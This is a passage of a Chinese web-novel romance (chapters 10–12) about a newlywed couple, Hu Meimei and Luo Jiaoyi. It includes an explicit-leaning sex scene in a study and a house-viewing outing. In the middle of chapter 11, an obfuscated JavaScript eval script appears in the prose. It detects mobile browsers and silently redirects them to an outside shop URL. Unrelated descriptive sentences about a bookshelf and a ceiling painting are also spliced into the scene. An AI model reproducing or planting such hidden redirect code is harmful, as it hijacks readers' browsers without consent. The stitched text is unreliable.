他做出“不”的口型，嗓子里冒出来的却是另一个词。 胡美美深吸了一口气，有个念头呼之欲出，血液和身体都沸腾了起来。 “谢什么？” “……” “怎么谢！” “…………” 怎么… 就算是，要他现在去尽夫妻义务，也可以。 10. 第 10 章 洛骄益蜷了蜷手指，收回胳膊转身要走，胡美美追出去，下一秒却被按回房间，洛骄益一手推她，一手抓着门把手要关门。 “你背后长眼睛了？”胡美美挣扎。她明明是看见他转过去了才抬脚的。 洛骄益面无表情，轻松到仿佛只是在提溜一只猫、一只狗，一个小动物。 原则上来说，洛骄益足足比她高出了大半个头，揽住她把她往里送的时候，半个身子就能完全遮挡住她，还带着温热体温的肌肉扑面而来，气势汹汹，胡美美应该完全没有胜算。 但洛骄益阻拦得太过体面，他只是圈住了人，然后，就以为对方会明白，会遵守“规则”认命，会知难而退，自觉地老实待着。 胡美美跟十几岁在网吧混社会被抓住的坏学生一样，垂着头抬起双臂拼命地轮，与空气激烈搏斗撕扯，头发逐渐散乱成了鸡窝模样，嘴里还振振有词。 “放开，放开，” 当然，没有说她就不像年猪的意思。 十几个壮汉都按不住的那种。 洛骄益没有施力，只是围困和威慑胡美美，被狠狠地推开，还没反应过来，人就因为胡美美这一下，差点左脚绊右脚摔出去，回过神来时表情早已绷不住裂开。 半分钟后，他紧急平衡、站稳脚跟，滞了一瞬。 怎么可能？ 胡美美怪有劲儿的，洛骄益那一瞬间，甚至因此生出了要询问她平时是不是也锄一些地的想法。 门口的战场战况激烈而短暂，木门没了“支撑”，无声晃了一下，胡美美这才重新站直撩开遮住眼的头发。 洛骄益抿了抿唇，放弃把她塞回房间，走入书房，反其道而行，将自己给关了起来。 “哎？！”胡美美着急。 “那我就自己找机会去要你的答谢了！不准拒绝！” - 次日。 一早，胡美美就爬起来在入户门外等着拿外卖。 不是吃的，是用品。 成，人，用，品。 胡美美对洛骄益这方面的了解还是太少，所以只好每个牌子，每个尺寸，每种类型，全部都买了一遍。 外卖小姐姐送过来时，细心地按照保质期先后帮她大概分装了一下，提醒她查看日期和购买收据。 这一单的跑腿费是五百元，配送员一开始在广场走丢了方向，胡美美本来说要下楼去接她，但对方坚持自己不能麻烦胡美美，必须得服务周到，最后绕了两次才找到路上来。 “不好意思，让您久等了！” “没关系，给我就好，你继续忙吧。”胡美美莞尔，接过口袋，先大致看了一眼，又问要不要再给点打赏，对方受宠若惊地直摆手拒绝。 这一单五百，已经是她不敢想的程度了，要不说大城市机会多呢，而且跑这一趟，还能顺便增长见识。 配送员很年轻，是刚来盈江工作没几天的新人，目前对什么都还不太清楚，对什么都还新鲜，完成订单后回程时，一直仰着头张大嘴，一会儿被转角的雕塑吸引，一会儿又被挂画震撼。 尤其是经过一面足足十几米高的彩窗墙时，她叹为观止，忍不住拿出手机来，拍了几张照片，留下来存着。 胡美美进屋把东西放好，没多久，张阿姨过来做饭了。 “夫人，”张捷雨正好要找她。 她先进去了厨房，麻利地先把汤给炖上，然后翻出来一套餐具茶具，全是新的，可可爱爱，好多盘子还有胡萝卜图案。 胡美美：“这是？” “这是您以后专属的，我每天都会过来给它们消杀清洁，少爷也有一套。” 专属。这么讲究？ 胡美美顿了顿，点头说知道了，盯着那套餐具出神片刻。 她第一次过来这边，穿的就是一件带有胡萝卜元素的睡衣。那是朋友初微买来送她的，她自己对胡萝卜其实没什么特别的感情，但是身边人因为她姓“胡”，尤其爱把她和胡萝卜联系起来。 除了胡萝卜装饰纹样，那套餐具和别的盘子还有碗似乎没什么区别，胡美美顺便去看了一眼洛骄益专属的餐具茶具。 一样的，看起来和普通的碗筷没什么区别，只是，盘子的背后，有一串洛骄益名字的拼音字母纹样。 让人一看就知道这是只属于他的东西，那串拼音纹样的作用就和她的胡萝卜元素装饰一样。 胡美美怔了怔，忽然莫名笑起来，眼睛亮亮的，整个人过上一层柔软和温柔。 厨房暂时没有什么新添置的物件儿了，张阿姨又领她去洗漱间： “还有牙刷、毛巾、浴衣，” 小到牙膏和化妆水护肤品，大到浴缸衣帽间，竟然全都收拾出了一套和洛骄益能隐约对应起来，但又明显不同的出来。 此刻，有了那些一一对应、成双成对的东西，才显得胡美美和洛骄益夫妻的身份更实际了一些，这个家也更有了“家”的感觉。 “这个浴缸？”胡美美指着新浴缸百思不得其解。 什么时候添上的？ 昨晚她没听见安装的动静。还是说，其实这么久了，她都还没有探索完这套房子所有的领域？ “浴缸是恒温的，每天下午六点我会帮您把水先放上。”张阿姨含糊其词。 至于这浴缸的安装时间，她只说她是负责收拾和整理的而已，也不清楚。 张阿姨把胡美美的衣服也归纳、做好了清洁和保养，胡美美不太注重那些，确实没有去检查过，看完之后一阵感慨： “这也太细了，你又全都做得这么认真，竟然忙得过来？” 胡美美从来没有被这样伺候过，不习惯，希望张阿姨能减少点工作量，可别累坏了。 “要不我去和洛骄益说一声不用？” “！不用，”张捷雨吓坏了，那可不行，该是她服务的，她一定会服务好，而且其实她不累，手下也有人使唤，只不过一般主人家在时，只会有她一个独自过来。 不然屋里堆满了阿姨叫什么样子。 “我是从小把少爷照顾到长大的，您放心。”张捷雨解释。 胡美美和她一起回到厨房，除了那些，卧室的打理自然也是由张阿姨来承担。 汤要熬得久，是为午餐准备的，回到厨房，张阿姨马上井井有条地开始做早餐。 胡美美靠在边儿上，思考片刻： “你和洛骄益感情比较深，从小照顾到大，几乎把他当自己孩子了吧？” “是，我对少爷的感情也差不多了。”张捷雨弯起眼睛，眼尾的三条皱纹浅浅的荡出笑意。 “怪不得你一直叫我夫人太太，却喊洛骄益少爷。” 在张阿姨心里，她是她，少爷是少爷。 张捷雨闻言笑容凝固，作势要道歉，胡美美及时拦住，她的目的不是这个。 “在你心里洛骄益肯定还是个孩子吧。”胡美美说。 他太年轻，听说之前也没有交过女朋友，连“处子身”都还没破。 张阿姨会这么觉得，也是情理之中。 不过，很快洛骄益就会“长大”了，他今天就有一个机会从“少爷”转变成“先生”。 胡美美嘴角飞扬，主动凑到张阿姨身边，“对了，今天的果切能不能准备得丰盛一些？” 最好把所有口味都摆上去，好让她能趁机摸清洛骄益的喜好，这样一会儿选起来用哪个避.孕工具，胡美美也更有底气。 洛骄益会喜欢什么呢，草莓味儿的？还是香橙味儿的？ 不知道她的谢礼质量如何。 - 早餐上桌前，张阿姨敲开书房，提前询问洛骄益，一会儿怎么进餐。 “和夫人一起吗？” 洛骄益陷入沉默。 对于他的选择，张阿姨从不插手，也无权插手，耐心等着。 洛骄益在桌前伏案，身边堆满了各种文件和草稿纸，整齐地磊成一座座“小山”，文件最上方，还隐约可见他留下的几行字，笔锋凌厉。 见洛骄益不回答，张阿姨移了移目，试图揣测：那她一会儿单独给洛骄益端进书房？可是万一少爷不露面，夫人找上来又怎么办。 想了想，张阿姨还是决定搁置等待，先复命： “另外 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洛骄益：“？” “快呀，我准备要回礼了，说过了不能拒绝。”胡美美催促，撇嘴用手指戳了一下洛骄益肩膀的位置。 “……”等到他依言照做，刚刚落稳，胡美美清了清嗓子，然后就自然地坐到了他腿上去，和洛骄益一起叠在椅子上。 “咳。” “老公，你猜猜，我要你什么回礼？” “要是你起不来兴致的话，要不要我先找两部小电影出来帮你一下？” “正好你这里有电脑！”胡美美原本是侧坐，肩膀微微靠在洛骄益胸口上，说着，转身去捞桌上的鼠标，背对洛骄益。 “你有没有相关的经验？需要我主导，还是你主导？如果你嫌累的话，也可以坐着不动，我来就行。” 胡美美话多起来，点点鼠标，又敲键盘，流畅地打出一些关键字，还回头看了一眼，余光确认洛骄益有没有看屏幕，领会她的意思。 即便她的明示不够直白，看见她敲出来的关键字，洛骄益也该懂了。 身为一个男人，不可能不懂的，何况他只是年轻，又不小，心智已经成熟。 胡美美笃定，洛骄益明白，匆匆一瞥后便立即回眸，滑动鼠标中键翻找着她要的影片。 洛骄益的电脑应该是设定了什么防护程序，胡美美只搜索得出来一些健康的网页链接，找了半天找不到，急得不自觉攥拳。 身后的洛骄益没动静。 胡美美又划了一分钟，停下来休息，轻轻蹙眉“啧”了一声，目光投向电脑之外。 推开沉重的胡桃木门，首先撞入眼帘的是书房满墙的深色书架，从地面直抵三米高的天花，每一格都饰以繁复的茛苕叶浮雕装饰，书架上的书书脊金线在暗处微微闪烁，像无数双半阖的眼睛。 “你这里找不到.片.吗？？”胡美美翻得累了，感觉到一些压力，忍不住回头问。 一回头，洛骄益紧绷得像个石头，硬邦邦的坐着，一动不动。 胡美美停下来，松开鼠标往后靠靠，窝在他怀里，想着要怎么才能继续下去，让洛骄益放松下来。 他们上方、穹顶之上，一幅巨大的油画铺展开来，云端的天使与圣徒在金色的光芒中扭曲挣扎，赭红和靛蓝的衣袍翻卷如火焰一般。 许久，洛骄益重新“活”过来，往前贴靠，从背后伸手，环住她的腰。 “胡美美，”洛骄益警告似的，在耳边提醒。 “阿姨没走远，就守在门边。” 说完，他一只手从衣摆角落探进去。 胡美美原以为洛骄益的话意思是拒绝，看向门那边，果然在地面发现一团阴影。 接着就感受到了他的动作，意会到洛骄益其实是另一个意思，从头红到脚脖子。 他同意了，只是让自己忍着点，别被人发现。 他们在书房做这种事。 11. 第 11 章 不会下崽的媳妇儿不是好媳妇儿。不会下崽的老公也是。 所以，找老公也一定要找会播种的，男人的最佳生育年龄是25岁，过了25，那就是妥妥的“高龄产父”了，就是被挑剩下的、不行的。 某种意义上来说，结婚就等同于生孩子，结婚就是为了生孩子。很多事，在两个人确定结婚之前就已成了定局，事后不需要再被考虑。 但胡美美还不想要孩子，因为她还不清楚洛骄益实力如何。 如果非要生，那她们老胡家的女儿必须拥有最优秀的基因，也就是说，洛骄益必须要在全盛状态。 否则，她不会同意不戴。 一点儿风险也不能冒，至于对方的体验感，总不能去为了这个现实的老公，就对不起那个虚拟的女儿吧。 女儿才是亲生的，老公又不是。 胡美美正胡思乱想，洛骄益挑开她的衣角，解开了她的贴身衣物。 对于夫妻来说，这是他们两人再正常不过的活动之一了。 胸前一凉，胡美美猛地回神，想要回头看看人，洛骄益一声不吭把她往上捞了捞，揽着她往上坐。 这个他们心照不宣需要配合，即将到来的第一次...交、合，过程，胡美美好奇比过激动，肢体反应打了个结巴。 洛骄益不让她动弹，胡美美几乎全程维持着扶着桌沿，盯着桌面，晕乎乎的状态。 准确来说，也不是洛骄益不让她动，因为这人从来没有开口要求过她任何，也没有做出阻拦的动作。胡美美连他呼吸的变化都没能听到，洛骄益像一个在执行既定程序的机器人，冰冷而淡漠。 但他的体温却又滚烫，炙热到胡美美形容不出，她仿佛被一圈火焰包围了，稍有不慎就会被烧伤，所以才无处可去，不能动弹。 比如，起初，她只是下意识尝试侧身，结果身体刚刚移动一寸，就被洛骄益环在她腰上的胳膊逼回了原位。 肌肤相亲的距离让他们之间如同连接了所有感观，血液和思想一样，胡美美被“烫”得倒吸了一口气，愣住眨了眨眼，居然能体会到他散发出来的压力，严肃狠戾，所以乖乖退回去，乖乖接受和“臣服”。 前奏并不漫长，胡美美很不幸地很快失去了她的适应时间，紧接着又强行被拉入了游戏，上来就打boss。 她的忍痛能力还不错，所以，前十分钟相当淡定，身体只是正常地给出生理反应和回馈，此时洛骄益还只是抱着她在椅子上。 问题出在姿势的变化，时长，还有别人的提醒。 胡美美真正失控，是在书房桃木门下的阴影晃动时。 “夫人，”张阿姨突然敲门，传来询问，“早餐已经上桌很久了，我去再重新加热一遍吗？” “...” 彼时，房间静谧，他们彼此的呼吸原本始终疏离地各自掌握着独立的节奏，同时戛然而止了一瞬后，好像都被吓坏了，开始乱窜，在空气中四处撞壁。 胡美美说不出话，更不能用唯一勉强能够发出的断断续续的喘息回答对方，顿时被一股窒息感笼袭，浑身一紧。 每一个细微的声响都被无限拉长了，然后化作巨雷劈进耳朵里，夸张又真实地撕扯人的理智，胡美美才因为早就知道还被抓包，后知后觉有了羞涩的感觉，头埋得很低，面红耳赤。 他们是一根绳子上的蚂蚱。 洛骄益抬了抬下巴，唇边若有似无地蹭过她额头，咬牙说了第一句话。 “放松。”他极力忍耐。接着为了“报复”，重新启程恢复运作，胡美美还沉浸在如何掩饰的慌乱里，被迫承受，鼻尖怂动，下一秒，睫毛挂着的眼泪就“刷”一下滚落下去了。 “夫人？”张阿姨又问了一遍。 洛骄益伸手为她抹去眼泪，胡美美实在没地方发泄，抓住他的手一口咬下去，在他虎口处留下齿痕印记。 ...... 早餐热了足足三回，晨光从窗棂爬进地板，胡美美浑身无力，疲惫地窝在人怀里，眼睛里还隐约盈着水光，目光落在远处，没有聚焦。 洛骄益垂眸，不知道为什么，寻到了猎物一样，盯住了胡美美那只软的没骨头似的手。 黑瞳纹样线条利落，在白纸皮肤上显得浓重，幽深又神秘。洛骄益定定地看着那里，抬手捏住她手心，拇指抵在那个纹身的正中，无意义地摩挲。 胡美美余光扫过。 “你是不是不喜欢这个纹身？”胡美美哑着嗓子问，猜测。 洛骄益垂着眼，反复摩挲擦不去那东西，干脆松开，再用自己的衣袖把它给直接盖住了。 “难看。”他说。 “去把它洗掉？” 意思是：如果他这样说的话，胡美美就愿意去把它洗掉？ 为了他。为了他的看法。 不然，胡美美为什么问？ - 刚刚完成了最亲密的接触，激素会迅速飙升、影响一个人的情绪，还有意志。 书房的控湿器定时换挡，发出微弱的“呼呼”声，洛骄益思及此甚至不自觉地勾起了嘴角，为着他想象中的胡美美的善解人意。 就像为了他待在房间饿肚子一样，一个纹身而已，更何况这次还是他亲自提出来。 两人身上的热度都还没有完全褪去，胡美美身上搭着他的外套，沉甸甸的，带着他的香水味。 味道已经不同了，洛骄益特意换过香水款式，在胡美美骂过他上次那个味道廉价难闻只值9.9之后。 胡美美软软的，说话也是，很轻，很柔，像白天鹅的容貌拂过脸。洛骄益第一次觉得她原来也可以这么轻盈，而不是和黄土泥地一样，厚重，又脏又乱。 胡美美沉默了一会儿，有气无力的。 “你不喜欢这个？” “不喜欢。”他看向胡美美的纹身说。 胡美美拼尽全力，找到发力点，推开洛骄益的外套扶着椅子支撑自己坐正，站立起来，洛骄益微微歪头拧眉。 身体隐约有些不适，而且还累着，从来没有这么累过，胡美美彻底枯竭了，只一味地回头，盯着洛骄益那里不说话，目光灼灼。 “？”洛骄益不解，循着她的目光、低头看向自己腰下正中。 双腿之间的位置... 洛骄益莫名直觉哪里不对，额头的青筋跳了跳。 胡美美看向他的眼神里，好像有刀。 “我也不喜欢这个。”胡美美冷到。 你去把它摘掉。 回答完，她一鼓作气，径直走向出口，脸上愠怒出猪肝色，两只手攥拳攥得能捏出血。 憋了太久， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372059|199960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为太累，所以才一直没有爆发，胡美美三步并做两步，恨不得下一秒就飞出去，离洛骄益和这个破书房全都远远的！ 她要累死了，验收完成果，发现对方技术很烂怎么办，胡美美甚至现在想离婚，光时间长有什么用？！就只会折磨她，还是说太年轻的都这样？ 胡美美回想起刚刚的种种，气得发抖，腿也控制不住软下去，浑身像有蚂蚁在爬一样奇痒难耐，心率居高不下。 急头白脸推开门，张阿姨就守在旁边，见状哆嗦了一下，连忙贴过去： “夫人，你们结束了？” 终于结束了，整整167分钟，她都怕再给胡美美折腾晕过去。 少爷身体强壮，夫人也不遑多让。两个高精力夫妻...真是佩服，就是可惜了她精心准备又热了那么多次的早餐。 这167分钟，都够张捷雨再重新做1道炖菜3道蒸菜4道炒菜2道凉菜了，能摆满满的一桌。 胡美美猛地一顿，吓了一跳，对上跟过来开始和自己交代早餐问题的张阿姨时莫名心慌。 现在应该是午饭了。 张阿姨：“您还好吗，要不要先迅速喝点温水或者温汤？先启动消化系统，再均衡进食。” 一边说，张捷雨一边加快脚步立刻去给胡美美倒了杯水，胡美美总是因为她的声音想起那时候她敲门。 隔着木门，张阿姨的声音会更闷更沉，那个时候的胡美美大脑空白，紧张僵硬。 “夫人！”张阿姨硬把水塞进胡美美手里，塞完，又看见也从书房走了出来的洛骄益，马不停蹄又去倒了一杯，嘴里还念叨着他们在里面实在花费了太多时间，肯定很饿。 胡美美回头咄了一眼：“没事，挨饿我有经验。” 说完，洛骄益脸黑成碳。 - 张阿姨确实也趁着她不能打扰胡美美和洛骄益的时间做了新的，桌上已经是午饭，饭菜清淡，但口味很不错。 胡美美和洛骄益相对而坐，闷声端碗，张阿姨适时在旁边提示，让洛骄益可以多吃果盘里的东西。 她切了两个菠萝。多吃菠萝，可以帮助男性的体.液变得更加趋甜。 “……” 什么意思？为什么要让洛骄益把体.液弄得更甜一些？？他们又不会再做了，绝对不会还有第二次！ 胡美美怕得要死，立马抬手拦着。 “不行！” “？”阿姨转头看她，洛骄益绷着脸，整个人气压低到可怖的程度，闻言抬眸。 “现在的菠萝里面全都是大漂亮国投放的病毒！不能吃，” “再说哪有人吃菠萝这么奢侈的东西的！还一顿吃整整两个！你知道有多少连水果都吃不上一口吗，你吃两个菠萝良心不会痛吗？” 胡美美胡言乱语。 张阿姨正很有眼里见地给洛骄益盛第二碗汤，她做了佛跳墙，汤里伏着真正奢侈的鲍鱼海参，鱼肚花胶。 一个干鲍就上万了，而洛骄益碗里有三个，通常洛骄益还只喝不吃，那东西不能在用第二次，之后也就理所当然废了… …… 胡美美说完，椅子上长出了铁钉，坐立难安，洛骄益盯着她，沉下眼皮皱眉。 张阿姨抖了一下，突然，莫名的，怎么就觉得手里的汤有点烫手呢。 12. 第 12 章 - 为了躲避洛骄益之后的雷霆手段，免得自己死在床上，胡美美收拾收拾就要出门。 一定得出门！ 至于借口： “我去给你看房子！”胡美美说。 嘿，看她多好，这么久了，依然如此在意。洛骄益freestyle的话，她发了疯的记。 把之前去看房子录下的视频转发给洛骄益后，胡美美就火急火燎地奔去门口换鞋了。午后云层反而积郁，只裂开一道缝，光从那里奋力钻出来几丝。 屋里的亮度降下去好多，洛骄益静静地坐在沙发，冷眼看她假忙活，丁点儿没有起身问候和阻拦的意思。 胡美美弯腰提鞋，侧身的时候正好能看见他，才发觉他的反应消极，顿了一下，出走的理智归位回家。 差点忘了，这次亲热，只是她主动提出，然后，洛骄益接受配合的结果。 也差点忘了她面前这个人其实不喜欢自己。 胡美美打住穿鞋的动作，这么一想，瞬间感觉石头落地，有种大彻大悟后恍惚的感受。 原来她担心的问题根本就不存在，只是一个她幻想出来的“问题”，并不是真的，一个和自己没有感情的人，如果自己不提出要求逼他应付，怎么还会继续和她亲热？ 既然如此，她又何必躲着？ 胡美美松了一口气，被这个发现逗的释然一下，才意识到自己有多么的多此一举，若有似无的嗤了一声。 但接着，马上她又从心底里翻涌出一种说不清的情绪，沉寂了一会儿，埋头看了一眼双脚，犹豫要不要把鞋重新脱下。 洛骄益挑眉。 “咳，你也去吗？看房子。”胡美美最终作罢，转头邀请。 万万没想到，洛骄益竟然同意了，坐上车和她一起出发，半小时后到达蔷薇国际，盈江沿边的一块小区，总面积不大，里面全是一栋栋的小三楼别墅，小巧玲珑。 胡美美开的车，她发现自己是真搞不懂洛骄益的想法，搞不懂洛骄益为什么愿意过来，却又不肯下车实地看房。 “照着这个视频，一模一样地录。”洛骄益轻轻侧过手机，点了点屏幕，展示给胡美美看。 胡美美确认了一遍，没头没脑的从车后排退出，记下后又重新绕回驾驶位，准备熄火走人，被洛骄益叫停。 “开着。” “空调23度，四面车窗关好，iPad递过来。” “哦，行。”胡美美按照指令，一一做好所有工作。 视频是她之前录下发给他的那些其中一个，洛骄益在来的路上看过，现在又叫她继续学着一模一样地录上，是不是挺满意？ 拿上iPad后，胡美美又从驾驶位下去、第二次来到车后排，打开车门钻进去，把东西递给洛骄益。 “我那个视频...” “23.5度吧。”洛骄益改口。 他要求多，胡美美习惯了，闭上嘴退出去，又跑到驾驶位去给他调温度。 因为着急把被堵了去的话讲完，着急让洛骄益夸她视频拍的好，“23.5”又是恰好在“23”和“24”中间的温度，胡美美大概目测了一下，迅速在控制界面点了一下，然后就第三次来到了车后排。 “洛骄益，” “你点的是23.7。”洛骄益打断。 胡美美哽了一下，就在车后排的座位伸长脖子去看，确实是“23.7”，她点错了，但差这“0.2”很严重吗？ 她耐着性子不厌其烦又下车、又上车，反复折腾。 “23.5了，一分不多一分不少，”第四次打开后排的车门，胡美美贴上笑脸，刚准备问视频的事，又被洛骄益给一口否了。 他现在又觉得规定一个温度的数值太死板，所以要胡美美重新去调节，从23度往上，零点一零点一地慢慢调节，让他感受适应，好挑选出一个真正能让他舒适心意的温度。 胡美美笑容凝固。 到底是哪家少爷角度这么刁钻，要求这么多，这么能作？ 胡美美劝自己，放宽心态，对待伴侣要宽容理解，比起洛骄益烂到没边的那什么技术，这些简直都是小巫见大巫，她不必大惊小怪受不了。 胡美美又退出去。 经过车门时，她不留神和车沿碰了一下，本就酸涨的腰突然像血肉都被撕裂开了一样疼，痛得她面目全非，闷哼了一声。 洛骄益脸色一变，放下平板张了张口，下一秒，还没等他说出来，胡美美气愤转身回头骂他，“靠，” “不给你调了！都怪你，平时也就算了，我今天刚被你弄成这样，还使唤我，也不知道心疼一下！” 胡美美气得呲牙，越想越气，气得攮了洛骄益一拳，然后就不管不顾地丢下他往售楼处走去了，洛骄益“别说脏话”的口型做了一半，一个字也没能说出口，被胡美美砸得晃了一下，地动山摇，后脑勺往车窗磕了一下，一样呲牙咧嘴。 ...... 时间不多，一下午就看了两处地方，胡美美都录了视频。 回去的路程胡美美一句话没说，洛骄益抱着平板，对着几个视频干看。 到家之后胡美美倒头就睡，一觉之后气就消了。 房子没看完，第二天继续，胡美 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洛骄益这张脸，业内谁还能没见过？！什么意思？同行大摸底？ 他可不信这两人真就是来买房的，住自己的不香？洛家落败之后要东山再起，所以现在开始到处摸排情况了？ “先生、女士，欢迎参观，我给你们介绍一下沙盘。” 他鞠躬，伸手为两人引路，讲解时，余光不受控制地往洛骄益侧脸上瞟。 洛骄益全程没有说话，看起来也不像有在认真听的样子，胡美美就比较配合，跟个现场中控似的，总是有一搭没有一搭接话。 “咱们来看卧室这边的一个布局，” “嗯嗯，卧室，怎么样呢？” “客厅的话，咱们是一个横厅，采光非常的好。”王成东又说。 胡美美接：“没错！非常的好！” 王成东：“……” 他忍不住去看一直在同步和自己一起激情投入工作的胡美美，忍不住问，“这位，是？” 洛骄益随身带着的助理？也做过销售？不对，应该是别的职业，落骄益干嘛带销售过来试探同行，要带也是带设计师、建筑师。 王成东视线飘忽，左右横跳，打量着胡美美，猜测她的职业应该不简单，但看她的气质打扮，怎么看又都不像什么行业大佬，不由地迷惑。 洛骄益淡淡地扫了一眼，从沙盘里抽身，应答。 “我太太。” 妈呀！ 说完，王成东差点没绷住把自己呛死。